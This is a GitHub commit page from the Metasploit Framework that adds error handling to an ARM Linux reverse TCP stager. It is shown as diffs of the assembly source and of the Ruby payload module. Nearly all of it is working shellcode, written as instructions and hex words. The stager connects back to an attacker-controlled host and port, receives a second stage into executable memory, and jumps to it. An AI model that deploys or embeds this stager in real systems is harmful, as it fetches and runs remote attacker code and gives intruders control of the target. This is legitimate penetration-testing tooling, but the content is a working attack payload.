Skip to content

Commit 03116d7

Browse files
timwrtimwr
committed
Land rapid7#8543, add error handling to ARM linux reverse tcp stager
2 parents 9ce0bb9 + 210a4cb commit 03116d7

File tree

2 files changed

+91
-56
lines changed

2 files changed

+91
-56
lines changed

‎external/source/shellcode/linux/armle/stager_sock_reverse.s

Lines changed: 23 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
@
33
@ Name: stager_sock_reverse
44
@ Qualities: -
5-
@ Authors: nemo <nemo [at] felinemenace.org>
5+
@ Authors: nemo <nemo [at] felinemenace.org>, tkmru
66
@ License: MSF_LICENSE
77
@ Description:
88
@
@@ -34,20 +34,26 @@ _start:
3434
mov r1,#1 @ type = SOCK_STREAM
3535
mov r2,#6 @ protocol = IPPROTO_TCP
3636
swi 0
37+
cmp r0, #0
38+
blt failed
3739
@ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
38-
mov r12,r0 @ sockfd
40+
mov r12,r0 @ sockfd
3941
add r7,#2 @ __NR_socket
40-
add r1,pc,#144 @ *addr
42+
add r1,pc,#196 @ *addr
4143
mov r2,#16 @ addrlen
4244
swi 0
45+
cmp r0, #0
46+
blt failed
4347
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
44-
mov r0,r12 @ sockfd
48+
mov r0,r12 @ sockfd
4549
sub sp,#4
4650
add r7,#8 @ __NR_recv
4751
mov r1,sp @ *buf (on the stack)
4852
mov r2,#4 @ len
4953
mov r3,#0 @ flags
5054
swi 0
55+
cmp r0, #0
56+
blt failed
5157
@ round length
5258
ldr r1,[sp,#0]
5359
ldr r3,=0xfffff000
@@ -59,10 +65,12 @@ _start:
5965
mov r7, #192 @ __NR_mmap2
6066
ldr r0,=0xffffffff @ *addr = NULL
6167
mov r2,#7 @ prot = PROT_READ | PROT_WRITE | PROT_EXEC
62-
ldr r3,=0x1022 @ flags = MAP_ANON | MAP_PRIVATE
68+
ldr r3,=0x1022 @ flags = MAP_ANON | MAP_PRIVATE
6369
mov r4,r0 @ fd
6470
mov r5,#0 @ pgoffset
6571
swi 0
72+
cmn r0, #1
73+
beq failed
6674
@ recv loop
6775
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
6876
add r7,#99 @ __NR_recv
@@ -77,16 +85,24 @@ loop:
7785
cmp r2, #0
7886
ble last
7987
mov r2,#1000 @ len
80-
swi 0
88+
swi 0
89+
cmp r0, #0
90+
blt failed
8191
b loop
8292
last:
8393
add r2,#1000 @ len
8494
swi 0
95+
cmp r0, #0
96+
blt failed
8597
@ branch to code
8698
mov pc,r1
99+
failed:
100+
mov r7, #1
101+
mov r0, #1
102+
swi 0
87103
@ addr
88104
@ port: 4444 , sin_fam = 2
89-
.word 0x5c110002
105+
.word 0x5c110002
90106
@ ip: 127.0.0.1
91107
.word 0x01aca8c0
92108
@.word 0x0100007f

‎modules/payloads/stagers/linux/armle/reverse_tcp.rb

Lines changed: 68 additions & 49 deletions
Original file line numberDiff line numberDiff line change
@@ -17,15 +17,15 @@
1717
###
1818
module MetasploitModule
1919

20-
CachedSize = 200
20+
CachedSize = 260
2121

2222
include Msf::Payload::Stager
2323

2424
def initialize(info = {})
2525
super(merge_info(info,
2626
'Name' => 'Reverse TCP Stager',
2727
'Description' => 'Connect back to the attacker',
28-
'Author' => 'nemo <nemo[at]felinemenace.org>',
28+
'Author' => ['nemo <nemo[at]felinemenace.org>', 'tkmru'],
2929
'License' => MSF_LICENSE,
3030
'Platform' => 'linux',
3131
'Arch' => ARCH_ARMLE,
@@ -34,56 +34,75 @@ def initialize(info = {})
3434
{
3535
'Offsets' =>
3636
{
37-
'LPORT' => [ 182, 'n' ],
38-
'LHOST' => [ 184, 'ADDR' ],
37+
'LPORT' => [ 242, 'n' ],
38+
'LHOST' => [ 244, 'ADDR' ],
3939
},
4040
'Payload' =>
4141
[
42-
0xe59f70b4, # ldr r7, [pc, #180]
43-
0xe3a00002, # mov r0, #2
44-
0xe3a01001, # mov r1, #1
45-
0xe3a02006, # mov r2, #6
46-
0xef000000, # svc 0x00000000
47-
0xe1a0c000, # mov ip, r0
48-
0xe2877002, # add r7, r7, #2
49-
0xe28f1090, # add r1, pc, #144
50-
0xe3a02010, # mov r2, #16
51-
0xef000000, # svc 0x00000000
52-
0xe1a0000c, # mov r0, ip
53-
0xe24dd004, # sub sp, sp, #4
54-
0xe2877008, # add r7, r7, #8
55-
0xe1a0100d, # mov r1, sp
56-
0xe3a02004, # mov r2, #4
57-
0xe3a03000, # mov r3, #0
58-
0xef000000, # svc 0x00000000
59-
0xe59d1000, # ldr r1, [sp]
60-
0xe59f3070, # ldr r3, [pc, #112]
61-
0xe0011003, # and r1, r1, r3
62-
0xe3a02001, # mov r2, #1
63-
0xe1a02602, # lsl r2, r2, #12
64-
0xe0811002, # add r1, r1, r2
65-
0xe3a070c0, # mov r7, #192
66-
0xe3e00000, # mvn r0, #0
67-
0xe3a02007, # mov r2, #7
68-
0xe59f3054, # ldr r3, [pc, #84]
69-
0xe1a04000, # mov r4, r0
70-
0xe3a05000, # mov r5, #0
71-
0xef000000, # svc 0x00000000
72-
0xe2877063, # add r7, r7, #99
73-
0xe1a01000, # mov r1, r0
74-
0xe1a0000c, # mov r0, ip
75-
0xe3a03000, # mov r3, #0
76-
0xe59d2000, # ldr r2, [sp]
77-
0xe2422ffa, # sub r2, r2, #1000
78-
0xe58d2000, # str r2, [sp]
79-
0xe3520000, # cmp r2, #0
80-
0xda000002, # ble 80fc <last>
81-
0xe3a02ffa, # mov r2, #1000
82-
0xef000000, # svc 0x00000000
83-
0xeafffff7, # b 80dc <loop>
84-
0xe2822ffa, # add r2, r2, #1000
85-
0xef000000, # svc 0x00000000
86-
0xe1a0f001, # mov pc, r1
42+
# Generated from external/source/shellcode/linux/armle/stager_sock_reverse.s
43+
0xe59f70f0, # ldr r7, [pc, #240] ; set 281(0x119) to r7
44+
0xe3a00002, # mov r0, #2
45+
0xe3a01001, # mov r1, #1
46+
0xe3a02006, # mov r2, #6
47+
0xef000000, # svc 0x00000000 ; invoke socket
48+
0xe3500000, # cmp r0, #0
49+
0xba000031, # blt 817c <failed>
50+
0xe1a0c000, # mov ip, r0
51+
0xe2877002, # add r7, r7, #2 ; set 283(0x11b) to r7
52+
0xe28f10c4, # add r1, pc, #196 ; set first .word addr to r1
53+
0xe3a02010, # mov r2, #16
54+
0xef000000, # svc 0x00000000 ; invoke connect
55+
0xe3500000, # cmp r0, #0
56+
0xba00002a, # blt 817c <failed>
57+
0xe1a0000c, # mov r0, ip
58+
0xe24dd004, # sub sp, sp, #4
59+
0xe2877008, # add r7, r7, #8 ; set 291(0x123) to r7
60+
0xe1a0100d, # mov r1, sp
61+
0xe3a02004, # mov r2, #4
62+
0xe3a03000, # mov r3, #0
63+
0xef000000, # svc 0x00000000 ; invoke recv
64+
0xe3500000, # cmp r0, #0
65+
0xba000021, # blt 817c <failed>
66+
0xe59d1000, # ldr r1, [sp]
67+
0xe59f3094, # ldr r3, [pc, #148] ; set 0xfffff000 to r3
68+
0xe0011003, # and r1, r1, r3
69+
0xe3a02001, # mov r2, #1
70+
0xe1a02602, # lsl r2, r2, #12
71+
0xe0811002, # add r1, r1, r2 ; set 0x1000 to r1
72+
0xe3a070c0, # mov r7, #192 ; set 192(0xC0) to r7
73+
0xe3e00000, # mvn r0, #0 ; set 0xffffffff to r0
74+
0xe3a02007, # mov r2, #7
75+
0xe59f3078, # ldr r3, [pc, #120] ; set r3 to 0x1022
76+
0xe1a04000, # mov r4, r0
77+
0xe3a05000, # mov r5, #0
78+
0xef000000, # svc 0x00000000 ; invoke mmap2
79+
0xe3700001, # cmn r0, #1
80+
0x0a000012, # beq <failed>
81+
0xe2877063, # add r7, r7, #99 ; set 291(0x123) to r7
82+
0xe1a01000, # mov r1, r0
83+
0xe1a0000c, # mov r0, ip
84+
0xe3a03000, # mov r3, #0
85+
# loop:
86+
0xe59d2000, # ldr r2, [sp]
87+
0xe2422ffa, # sub r2, r2, #1000
88+
0xe58d2000, # str r2, [sp]
89+
0xe3520000, # cmp r2, #0
90+
0xda000004, # ble 80fc <last>
91+
0xe3a02ffa, # mov r2, #1000
92+
0xef000000, # svc 0x00000000 ; invoke recv
93+
0xe3500000, # cmp r0, #0
94+
0xba000005, # blt 817c <failed>
95+
0xeafffff5, # b 80dc <loop>
96+
# last:
97+
0xe2822ffa, # add r2, r2, #1000
98+
0xef000000, # svc 0x00000000 ; invoke recv
99+
0xe3500000, # cmp r0, #0
100+
0xba000000, # blt 817c <failed>
101+
0xe1a0f001, # mov pc, r1
102+
# failed:
103+
0xe3a07001, # mov r7, #1
104+
0xe3a00001, # mov r0, #1
105+
0xef000000, # svc 0x00000000
87106
0x5c110002, # .word 0x5c110002
88107
0x0100007f, # .word 0x0100007f
89108
0x00000119, # .word 0x00000119

0 commit comments

Comments
 (0)